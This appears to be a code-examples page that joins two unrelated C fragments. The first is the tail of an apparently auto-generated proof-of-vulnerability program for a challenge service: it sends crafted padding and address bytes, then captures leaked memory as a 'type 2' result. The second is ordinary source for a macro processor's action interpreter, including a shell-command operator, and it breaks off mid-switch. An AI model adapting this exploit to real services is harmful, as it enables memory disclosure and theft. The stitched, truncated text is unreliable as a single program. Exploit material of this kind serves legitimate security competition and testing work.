      unsigned int read_00006_ptr = 0;
      //**** length read
      read_00006_len = 4;
      read_00006 = (unsigned char*)malloc(read_00006_len);
      int read_00006_res = length_read(0, read_00006, read_00006_len);
      if (read_00006_res) {} //silence unused variable warning
      free(read_00006);
      if (read_00006_ptr) {}  //silence unused variable warning if any
   } while (0);
   do {
      //*** writing data
      unsigned char *write_00011 = NULL;
      unsigned int write_00011_len = 0;
      write_00011 = append_var("sessionA", write_00011, &write_00011_len);
      if (write_00011_len > 0) {
         transmit_all(1, write_00011, write_00011_len);
      }
      free(write_00011);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00012_00000[] = 
         "\x00\x00\x00\x00\x00\x00\x00\x00";
      static unsigned int write_00012_00000_len = 8;
      unsigned char *write_00012 = NULL;
      unsigned int write_00012_len = 0;
      write_00012 = append_buf(write_00012, &write_00012_len, write_00012_00000, write_00012_00000_len);
      if (write_00012_len > 0) {
         transmit_all(1, write_00012, write_00012_len);
      }
      free(write_00012);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00013_00000[] = 
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
      static unsigned int write_00013_00000_len = 256;
      unsigned char *write_00013 = NULL;
      unsigned int write_00013_len = 0;
      write_00013 = append_buf(write_00013, &write_00013_len, write_00013_00000, write_00013_00000_len);
      if (write_00013_len > 0) {
         transmit_all(1, write_00013, write_00013_len);
      }
      free(write_00013);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00014_00000[] = 
         "\xc0\x47\x43";
      static unsigned int write_00014_00000_len = 3;
      unsigned char *write_00014 = NULL;
      unsigned int write_00014_len = 0;
      write_00014 = append_buf(write_00014, &write_00014_len, write_00014_00000, write_00014_00000_len);
      if (write_00014_len > 0) {
         transmit_all(1, write_00014, write_00014_len);
      }
      free(write_00014);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00015_00000[] = 
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff";
      static unsigned int write_00015_00000_len = 245;
      unsigned char *write_00015 = NULL;
      unsigned int write_00015_len = 0;
      write_00015 = append_buf(write_00015, &write_00015_len, write_00015_00000, write_00015_00000_len);
      if (write_00015_len > 0) {
         transmit_all(1, write_00015, write_00015_len);
      }
      free(write_00015);
   } while (0);
   do {
      unsigned char *read_00007;
      unsigned int read_00007_len;
      unsigned int read_00007_ptr = 0;
      //**** length read
      read_00007_len = 4;
      read_00007 = (unsigned char*)malloc(read_00007_len);
      int read_00007_res = length_read(0, read_00007, read_00007_len);
      if (read_00007_res) {} //silence unused variable warning
      free(read_00007);
      if (read_00007_ptr) {}  //silence unused variable warning if any
   } while (0);
   do {
      unsigned char *read_00008;
      unsigned int read_00008_len;
      unsigned int read_00008_ptr = 0;
      //**** length read
      read_00008_len = 256;
      read_00008 = (unsigned char*)malloc(read_00008_len);
      int read_00008_res = length_read(0, read_00008, read_00008_len);
      if (read_00008_res) {} //silence unused variable warning
      free(read_00008);
      if (read_00008_ptr) {}  //silence unused variable warning if any
   } while (0);
   do {
      //*** writing data
      unsigned char *write_00016 = NULL;
      unsigned int write_00016_len = 0;
      write_00016 = append_var("sessionA", write_00016, &write_00016_len);
      if (write_00016_len > 0) {
         transmit_all(1, write_00016, write_00016_len);
      }
      free(write_00016);
   } while (0);
   do {
      unsigned char *read_00009;
      unsigned int read_00009_len;
      unsigned int read_00009_ptr = 0;
      //**** length read
      read_00009_len = 4;
      read_00009 = (unsigned char*)malloc(read_00009_len);
      int read_00009_res = length_read(0, read_00009, read_00009_len);
      if (read_00009_res) {} //silence unused variable warning
      free(read_00009);
      if (read_00009_ptr) {}  //silence unused variable warning if any
   } while (0);
   do {
      //*** writing data
      unsigned char *write_00017 = NULL;
      unsigned int write_00017_len = 0;
      write_00017 = append_var("sessionA", write_00017, &write_00017_len);
      if (write_00017_len > 0) {
         transmit_all(1, write_00017, write_00017_len);
      }
      free(write_00017);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00018_00000[] = 
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
      static unsigned int write_00018_00000_len = 512;
      unsigned char *write_00018 = NULL;
      unsigned int write_00018_len = 0;
      write_00018 = append_buf(write_00018, &write_00018_len, write_00018_00000, write_00018_00000_len);
      if (write_00018_len > 0) {
         transmit_all(1, write_00018, write_00018_len);
      }
      free(write_00018);
   } while (0);
   do {
      unsigned char *read_00010;
      unsigned int read_00010_len;
      unsigned int read_00010_ptr = 0;
      //**** length read
      read_00010_len = 4;
      read_00010 = (unsigned char*)malloc(read_00010_len);
      int read_00010_res = length_read(0, read_00010, read_00010_len);
      if (read_00010_res) {} //silence unused variable warning
      free(read_00010);
      if (read_00010_ptr) {}  //silence unused variable warning if any
   } while (0);
   do {
      unsigned char *read_00011;
      unsigned int read_00011_len;
      unsigned int read_00011_ptr = 0;
      //**** length read
      read_00011_len = 4;
      read_00011 = (unsigned char*)malloc(read_00011_len);
      int read_00011_res = length_read(0, read_00011, read_00011_len);
      if (read_00011_res) {} //silence unused variable warning
      //**** read assign to var "leak" from slice
      assign_from_slice("leak", read_00011, read_00011_len - read_00011_ptr, 0, 0, 1);
      free(read_00011);
      if (read_00011_ptr) {}  //silence unused variable warning if any
   } while (0);
   //*** submitting type 2 POV results
   submit_type2("leak");
}
Exemple #7
0
const unsigned char*
do_action( const unsigned char* action, CIStream* args, COStream out) {
    const unsigned char* as;
    unsigned char ac;
    int argn = 0;

    as = action;
    if ( as != NULL )
        for ( ; ; ) {
            ac = *as++;
            switch (ac) {
            case PT_END:
                return as-1;
            case PT_SEPARATOR:
                return as;
            case PT_PUT_ARG: {
                CIStream arg = args[ (*as++) - 1 ];
                cis_rewind(arg);
                cos_copy_input_stream(out,arg);
                break;
            }
            case PT_ONE_OPT:
                cos_putch(out,arg_char);
                break;

            case PT_DOMAIN: {
                CIStream inbuf;
                Pattern save_rule = current_rule;
#if MAX_DOMAINS < 256
                int domain = *as++ - 1;
#else
                /* Get domain index as 14 bit little endian number */
                int domain = ((unsigned char)*as++)&0x7f;
                domain = ((((unsigned char)*as++)&0x7f)<<7) | domain;
#endif
                if ( as[0] == PT_VAR1 ||
                        ( as[0] == PT_OP &&
                          ( as[1] == OP_VAR || as[1] == OP_VAR_DFLT ) ) ) {
                    /* for safety, copy the variable's value in case it is
                       changed during translation.  */
                    COStream outbuf;
                    outbuf = make_buffer_output_stream();
                    as = do_action( as, args, outbuf );
                    inbuf = convert_output_to_input( outbuf );
                }
                else /* optimized operand access */
                    inbuf = function_operand( &as, args );
#ifdef TRACE
                if ( trace_switch ) {
                    int n;
                    fprintf( stderr, "%12ld,%2d ",
                             cis_line(input_stream), cis_column(input_stream));
                    for ( n = trace_indent ; n > 0 ; n-- )
                        fputc(' ',stderr);
                    if ( cis_is_file(inbuf) ) {
                        const char* inpath = cis_pathname(inbuf);
                        if ( inpath == NULL )
                            inpath = "-";
                        fprintf( stderr, "@%s{@read{%s}}\n",
                                 domains[domain]->name, inpath);
                    }
                    else
                        fprintf( stderr, "@%s{%.60s}\n",
                                 domains[domain]->name, cis_whole_string(inbuf));
                    ++trace_indent;
                }
#endif
                if ( !translate( inbuf, domains[domain], out, NULL ) &&
                        cis_is_file(inbuf) && exit_status < EXS_FAIL )
                    exit_status = EXS_FAIL;
#ifdef TRACE
                if ( trace_switch ) {
                    --trace_indent;
                }
#endif
                current_rule = save_rule;
                cis_close(inbuf);
                break;
            }

            case PT_VAR1: {
                char vname[2];
                vname[0] = *as++;
                vname[1] = '\0';
                put_var(out, vname, FALSE);
                break;
            }

            case PT_LINE:
                cos_freshline(out);
                break;

            case PT_MATCHED_TEXT:
                do_action( current_rule->pattern, args, out );
                break;

            case PT_SPECIAL_ARG:
#if MAX_DOMAINS >= 256 /* advance one more since  2 bytes for domain index */
            case PT_RECUR:
#endif
                as++;
            case PT_REGEXP:
#if MAX_DOMAINS < 256
            case PT_RECUR:
#endif
                as++;
            case PT_MATCH_ANY:
            case PT_MATCH_ONE: {
                /* these will be encountered only when replaying the template as $0 */
                CIStream arg = args[ argn++ ];
                cis_rewind(arg);
                cos_copy_input_stream(out,arg);
                break;
            }

            case PT_AUX:
                as++;
                break;

            case PT_OP: {
                CIStream inbuf = NULL;
                enum Operators ac;
                ac = (enum Operators)*as++;
                switch(ac) {
                case OP_UNDEFINE:
                case OP_DEFINE: {
                    inbuf = function_operand( &as, args );
                    read_patterns(inbuf, "", ac==OP_UNDEFINE);
                    break;
                }

                case OP_SUBST: {
                    int d;
                    CIStream arg;
                    Pattern save_rule = current_rule;
                    arg = function_operand( &as, args );
                    d = read_patterns(arg," temp ",FALSE);
                    inbuf = function_operand( &as, args );
                    translate ( inbuf, domains[d], out, NULL );
                    current_rule = save_rule;
                    delete_domain(d);
                    cis_close(arg);
                    break;
                }

                case OP_VAR: {
                    inbuf = function_operand( &as, args );
                    put_var(out, cis_whole_string(inbuf), FALSE );
                    break;
                }
                case OP_VAR_DFLT: {
                    inbuf = function_operand( &as, args ); /* variable name */
                    if ( put_var(out, cis_whole_string(inbuf), TRUE ) )
                        as = skip_action(as); /* skip default value */
                    else as = do_action( as, args, out ); /* output default */
                    break;
                }

                case OP_SET: {
                    CIStream name;
                    name = function_operand( &as, args );
                    inbuf = function_operand( &as, args );
                    set_var( cis_whole_string(name),
                             cis_whole_string(inbuf), cis_length(inbuf) );
                    cis_close(name);
                    break;
                }

                case OP_BIND: {
                    CIStream name;
                    name = function_operand( &as, args );
                    inbuf = function_operand( &as, args );
                    bind_var( cis_whole_string(name),
                              cis_whole_string(inbuf), cis_length(inbuf) );
                    cis_close(name);
                    break;
                }
                case OP_UNBIND: {
                    CIStream name;
                    name = function_operand( &as, args );
                    unbind_var( cis_whole_string(name) );
                    cis_close(name);
                    break;
                }

                case OP_APPEND: {
                    CIStream name;
                    name = function_operand( &as, args );
                    inbuf = function_operand( &as, args );
                    append_var( cis_whole_string(name),
                                cis_whole_string(inbuf), cis_length(inbuf) );
                    cis_close(name);
                    break;
                }

                case OP_INCR:
                case OP_DECR: {
                    CIStream name;
                    name = function_operand( &as, args );
                    incr_var( cis_whole_string(name), ac==OP_DECR? -1 : 1 );
                    cis_close(name);
                    break;
                }

                case OP_GETENV:
                case OP_GETENV_DEFAULT: {
                    CIStream dbuf = NULL;
                    char* value;
                    inbuf = function_operand( &as, args );
                    if ( ac == OP_GETENV_DEFAULT )
                        dbuf = function_operand( &as, args );
                    value = getenv(cis_whole_string(inbuf));
                    if ( value == NULL )
                        cos_copy_input_stream(out, dbuf);
                    else cos_puts(out, value);
                    cis_close(dbuf);
                    break;
                }

                case OP_ERR: {
                    static COStream err_stream = NULL;
                    if ( err_stream == NULL )
                        err_stream = make_file_output_stream(stderr,"stderr");
                    as = do_action( as, args, err_stream );
                    break;
                }

                case OP_OUT: {
                    as = do_action( as, args, output_stream );
                    break;
                }

                case OP_PATH:
                case OP_FILE: {
                    const char* path = cis_pathname(input_stream);
                    if ( path != NULL ) {
                        if ( ac == OP_FILE )
                            path = pathname_name_and_type(path);
                        cos_puts(out, path);
                    }
                    break;
                }
                case OP_OUTFILE: {
                    const char* opath;
                    opath = cos_pathname(out);
                    if ( opath == NULL )
                        opath = cos_pathname(output_stream);
                    cos_puts(out, opath);
                    break;
                }

                case OP_LINE: {
                    put_number(out, cis_line(input_stream));
                    break;
                }
                case OP_COL: {
                    put_number(out, cis_column(input_stream));
                    break;
                }
                case OP_OUTCOL: {
                    put_number(out, cos_column(output_stream));
                    break;
                }
                case OP_HELP:
                    usage();
                    break;
                case OP_VERSION:
                    cos_puts(out, Version);
                    break;

                case OP_DATE:
                case OP_TIME: {
                    time_t now;
                    struct tm* ts;
                    char tbuf [12];
                    now = time(NULL);
                    ts = localtime(&now);
                    if ( ac == OP_TIME )
                        sprintf(tbuf, "%02d:%02d:%02d",
                                ts->tm_hour, ts->tm_min, ts->tm_sec);
                    else sprintf(tbuf, "%02d/%02d/%d",
                                     ts->tm_mon + 1, ts->tm_mday, 1900 + ts->tm_year);
                    cos_puts(out, tbuf);
                    break;
                }
                case OP_DATIME: {
                    time_t now;
                    now = time(NULL);
                    put_datime( out, &now );
                    break;
                }
                case OP_MODTIME: {
                    time_t mtime;
                    mtime = cis_mod_time(input_stream);
                    if ( mtime != 0 )
                        put_datime( out, &mtime );
                    break;
                }
                case OP_PROBE: {
                    inbuf = function_operand( &as, args );
                    cos_putch(out, probe_pathname(cis_whole_string(inbuf)));
                    break;
                }

                case OP_READ: {
                    const char* pathname;
                    CIStream in;
                    inbuf = function_operand( &as, args );
                    pathname = cis_whole_string(inbuf);
                    close_output(pathname);
                    in = open_input_file(pathname,binary);
                    cos_copy_input_stream(out, in);
                    cis_close(in);
                    break;
                }

                case OP_WRITE: {
                    COStream oldout;
                    const char* pathname;
                    oldout = output_stream;
                    inbuf = function_operand( &as, args );
                    pathname = cis_whole_string(inbuf);
                    output_stream = find_output_file(pathname,TRUE);
                    as = do_action( as, args, output_stream );
                    output_stream = oldout;
                    break;
                }

                case OP_CLOSE: {
                    inbuf = function_operand( &as, args );
                    close_output(cis_whole_string(inbuf));
                    break;
                }

                case OP_COMBINEPATH:
                case OP_MERGEPATH: {
                    CIStream dir;
                    CIStream name;
                    CIStream typ;
                    dir = function_operand( &as, args );
                    name = function_operand( &as, args );
                    typ = function_operand( &as, args );
                    merge_pathnames( out, ac==OP_COMBINEPATH, cis_whole_string(dir),
                                     cis_whole_string(name),
                                     cis_whole_string(typ) );
                    cis_close(dir);
                    cis_close(name);
                    cis_close(typ);
                    break;
                }
                case OP_RELPATH: {
                    CIStream dir;
                    dir = function_operand( &as, args );
                    inbuf = function_operand( &as, args );
                    cos_puts( out, relative_pathname(cis_whole_string(dir),
                                                     cis_whole_string(inbuf)) );
                    cis_close(dir);
                    break;
                }
                case OP_EXP_WILD: {
                    inbuf = function_operand( &as, args );
                    expand_wildcard ( cis_whole_string(inbuf), out );
                    break;
                }

                case OP_ADD:
                case OP_SUB:
                case OP_MUL:
                case OP_DIV:
                case OP_MOD:
                case OP_AND:
                case OP_OR: {
                    long x,y,z;
                    x = numeric_operand( &as, args );
                    y = numeric_operand( &as, args );
                    switch(ac) {
                    case OP_ADD:
                        z = x + y;
                        break;
                    case OP_SUB:
                        z = x - y;
                        break;
                    case OP_MUL:
                        z = x * y;
                        break;
                    case OP_DIV:
                        z = x / y;
                        break;
                    case OP_MOD:
                        z = x % y;
                        break;
                    case OP_AND:
                        z = x & y;
                        break;
                    case OP_OR:
                        z = x | y;
                        break;
                    default: /* can't happen; just to avoid compiler warning */
                        assert(FALSE);
                        z = 0;
                        break;
                    }
                    put_number(out,z);
                    break;
                }
                case OP_NOT:
                    put_number(out, ~ numeric_operand( &as, args ) );
                    break;

                case OP_RADIX: {
                    int from, to;
                    unsigned long value;
                    char* string;
                    char* end;
                    const char* fmt;
                    char buf[24]; /* enough for 64 bits in octal */
                    from = (int)numeric_operand( &as, args );
                    to = (int)numeric_operand( &as, args );
                    inbuf = function_operand( &as, args );
                    string = cis_whole_string(inbuf);
                    value = strtoul( string, &end, from );
                    if ( *end != '\0' )
                        input_error ( input_stream, EXS_NUM,
                                      "Invalid argument for radix %d conversion: \"%.99s\"\n",
                                      from, string);
                    if ( to == 8 )
                        fmt = "%lo";
                    else if ( to == 16 )
                        fmt = "%lX";
                    else {
                        if ( to != 10 )
                            input_error ( input_stream, EXS_NUM,
                                          "Unsupported radix: %d\n", to);
                        while ( isspace(string[0]) )
                            string++;
                        fmt = (string[0]=='-') ? "%ld" : "%lu";
                    }
                    sprintf(buf, fmt, value);
                    cos_puts(out, buf);
                    break;
                }

                case OP_STR_CMP:
                case OP_STRI_CMP: {	/* string comparison */
                    CIStream x = function_operand( &as, args );
                    CIStream y = function_operand( &as, args );
                    const char* xs = cis_whole_string(x);
                    const char* ys = cis_whole_string(y);
                    int cmp;
                    cmp = ac == OP_STRI_CMP ? stricmp(xs, ys) : strcmp(xs, ys);
                    cis_close(x);
                    cis_close(y);
                    as = do_cmp( cmp, as, args, out);
                    break;
                }
                case OP_NUM_CMP: {	/* numeric comparison */
                    long x = numeric_operand( &as, args );
                    long y = numeric_operand( &as, args );
                    int cmp;
                    if ( x < y )
                        cmp = -1;
                    else if ( x == y )
                        cmp = 0;
                    else cmp = 1;
                    as = do_cmp( cmp, as, args, out);
                    break;
                }

                case OP_LENGTH: {
                    inbuf = function_operand( &as, args );
                    put_number(out, cis_length(inbuf));
                    break;
                }

                case OP_TAB: {
                    int col;
                    col = (int)numeric_operand( &as, args );
                    cos_spaces(out, col - (int)cos_column(out));
                    break;
                }

                case OP_WRAP: {
                    unsigned length;
                    unsigned col;
                    inbuf = function_operand( &as, args );
                    length = cis_length(inbuf);
                    col = cos_column(out);
                    if ( ( ((int)(col + length)) > wrap_column &&
                            col > wrap_indent_length ) ||
                            ( col <= 1 && length > 0 ) ) {
                        cos_freshline(out);
                        cos_puts(out, wrap_indent);
                        skip_whitespace(inbuf);
                    }
                    cos_copy_input_stream(out, inbuf);
                    break;
                }

                case OP_SET_WRAP: {
                    wrap_column = (int)numeric_operand( &as, args );
                    inbuf = function_operand( &as, args );
                    if ( wrap_indent != NULL )
                        free(wrap_indent);
                    wrap_indent_length = cis_length(inbuf);
                    wrap_indent = str_dup_len( cis_whole_string(inbuf),
                                               wrap_indent_length );
                    break;
                }

                case OP_RIGHT:
                case OP_LEFT:
                case OP_CENTER: { /* justify value in fixed-length field */
                    int field_length, string_length, left_pad, right_pad;
                    field_length = (int)numeric_operand( &as, args );
                    inbuf = function_operand( &as, args );
                    string_length = cis_length(inbuf);
                    left_pad = field_length - string_length;
                    right_pad = 0;
                    if ( left_pad < 0 )
                        left_pad = 0;
                    if ( ac == OP_LEFT ) {
                        right_pad = left_pad;
                        left_pad = 0;
                    }
                    else if ( ac == OP_CENTER ) {
                        left_pad = left_pad / 2;
                        right_pad = field_length - string_length - left_pad;
                    }
                    cos_spaces(out, left_pad);
                    cos_copy_input_stream(out, inbuf);
                    cos_spaces(out, right_pad);
                    break;
                }

                case OP_FILL_RIGHT:
                case OP_FILL_LEFT:
                case OP_FILL_CENTER: { /* justify value in fixed-length field */
                    int field_length, string_length, left_pad, right_pad;
                    CIStream background;
                    int i;
                    background = function_operand( &as, args );
                    field_length = cis_length(background);
                    inbuf = function_operand( &as, args );
                    string_length = cis_length(inbuf);
                    left_pad = field_length - string_length;
                    right_pad = 0;
                    if ( left_pad < 0 )
                        left_pad = 0;
                    if ( ac == OP_FILL_LEFT ) {
                        right_pad = left_pad;
                        left_pad = 0;
                    }
                    else if ( ac == OP_FILL_CENTER ) {
                        left_pad = left_pad / 2;
                        right_pad = field_length - string_length - left_pad;
                    } else assert( ac == OP_FILL_RIGHT );
                    for ( i = left_pad ; i > 0 ; i-- )
                        cos_putch(out, cis_getch(background));
                    cos_copy_input_stream(out, inbuf);
                    if ( right_pad > 0 ) {
                        for ( i = string_length ; i > 0 ; i-- )
                            (void)cis_getch(background);
                        cos_copy_input_stream(out, background);
                    }
                    cis_close(background);
                    break;
                }

                case OP_SUBSTRING: {
                    int skip_length, result_length, string_length;
                    skip_length = (int)numeric_operand( &as, args );
                    result_length = (int)numeric_operand( &as, args );
                    inbuf = function_operand( &as, args );
                    string_length = cis_length(inbuf);
                    if ( skip_length <= string_length ) {
                        if ( skip_length < 0 )
                            skip_length = 0;
                        if ( (skip_length + result_length) > string_length )
                            result_length = string_length - skip_length;
                        cos_put_len(out, cis_whole_string(inbuf) + skip_length,
                                    result_length);
                    }
                    break;
                }

                case OP_DOWNCASE:
                case OP_UPCASE: {
                    int cc;
                    inbuf = function_operand( &as, args );
                    while ( (cc = cis_getch(inbuf)) != EOF )
                        cos_putch(out, ac==OP_DOWNCASE ? tolower(cc) : toupper(cc) );
                    break;
                }

                case OP_CHARINT:
                    inbuf = function_operand( &as, args );
                    put_number(out, cis_getch(inbuf));
                    break;
                case OP_INTCHAR:
                    cos_putch(out, (char)numeric_operand( &as, args ));
                    break;

                case OP_REVERSE: {
                    int len;
                    const char* start;
                    const char* ip;
                    inbuf = function_operand( &as, args );
                    len = cis_length(inbuf);
                    start = cis_whole_string(inbuf);
                    for ( ip = start+len-1 ; ip >= start ; ip-- )
                        cos_putch(out, *ip);
                    break;
                }

                case OP_SHELL: {
                    const char* command;
                    inbuf = function_operand( &as, args );
                    command = cis_whole_string(inbuf);
                    fflush(stdout);
                    if ( system( command ) < 0 ) {
                        input_error ( input_stream, EXS_SHELL,
                                      "Failed shell command \"%.20s...\":\n", command );
                        perror("system");
                    }
                    break;
                }

                case OP_EXIT:
                    translation_status = Translate_Exited;
                    break;

                case OP_FAIL:
                    translation_status = Translate_Failed;
                    break;

                case OP_END_OR_FAIL:
                    /* ideally this should be testing whether the input stream
                       has been advanced, but that is not so easy. */
                    translation_status =
                        ( cis_out_length(out) == 0 )? Translate_Failed : Translate_Exited;
                    break;

                case OP_EXIT_STATUS:
                    exit_status = (Exit_States)(int)numeric_operand( &as, args );
                    break;

                case OP_ABORT:
                    exit((int)(exit_status > EXS_FAIL ? exit_status : EXS_FAIL ));
                    break;

                case OP_GET_SWITCH:
                case OP_SET_SWITCH: {
                    const char* name;
                    int* valpt;
                    inbuf = function_operand( &as, args );
                    name = cis_whole_string(inbuf);
                    valpt = find_switch(name);
                    if ( valpt == NULL ) {
                        input_error(input_stream, EXS_UNDEF,
                                    "Undefined switch name \"%.99s\"\n", name );
                        if ( ac == OP_SET_SWITCH )
                            (void)numeric_operand( &as, args );
                    }
                    else {
                        if ( ac == OP_SET_SWITCH )
                            *valpt = (int)numeric_operand( &as, args );
                        else
                            put_number( out, *valpt );
                    }
                    break;
                }

                case OP_SET_PARM: {
                    const char* name;
                    CIStream val;
                    inbuf = function_operand( &as, args );
                    name = cis_whole_string(inbuf);
                    val = function_operand( &as, args );
                    if ( !set_parm( name, cis_whole_string(val) ) )
                        input_error(input_stream, EXS_UNDEF,
                                    "Undefined parameter name \"%.99s\"\n", name );
                    cis_close(val);
                    break;
                }

                case OP_SYNTAX: {
                    const char* type;
                    const char* charset;
                    CIStream val;
                    inbuf = function_operand( &as, args );
                    val = function_operand( &as, args );
                    charset = cis_whole_string(val);
                    for ( type = cis_whole_string(inbuf) ; *type != '\0' ; type++ ) {
                        const char* chars;
                        char c[2];
                        if ( type[1] == '\0' )
                            chars = charset;
                        else {
                            c[0] = *charset++;
                            c[1] = '\0';
                            chars = c;
                        }
                        if ( !set_syntax(type[0], chars) )
                            input_error(input_stream, EXS_UNDEF,
                                        "Undefined syntax type \"%.99s\"\n", type );
                    }
                    cis_close(val);
                    break;
                }

                case OP_DEFAULT_SYNTAX:
                    initialize_syntax();
                    break;

#ifndef MSDOS
                case OP_LOCALE: {
                    const char* lname;
                    inbuf = function_operand( &as, args );
                    lname = cis_whole_string(inbuf);
                    if ( setlocale(LC_ALL, lname) == NULL )
                        input_error(input_stream, EXS_UNDEF,
                                    "Undefined locale \"%.99s\"\n", lname );
                    break;
                }
#endif

                case OP_REPEAT: {
                    long n = numeric_operand( &as, args );
                    if ( n <= 0 )
                        as = skip_action(as);
                    else {
                        const unsigned char* start = as;
                        for ( ; n > 0 ; n-- )
                            as = do_action( start, args, out );
                    }
                    break;
                }

                case OP_QUOTE: {
                    inbuf = function_operand( &as, args );
                    quoted_copy( inbuf, out );
                    break;
                }
                default:
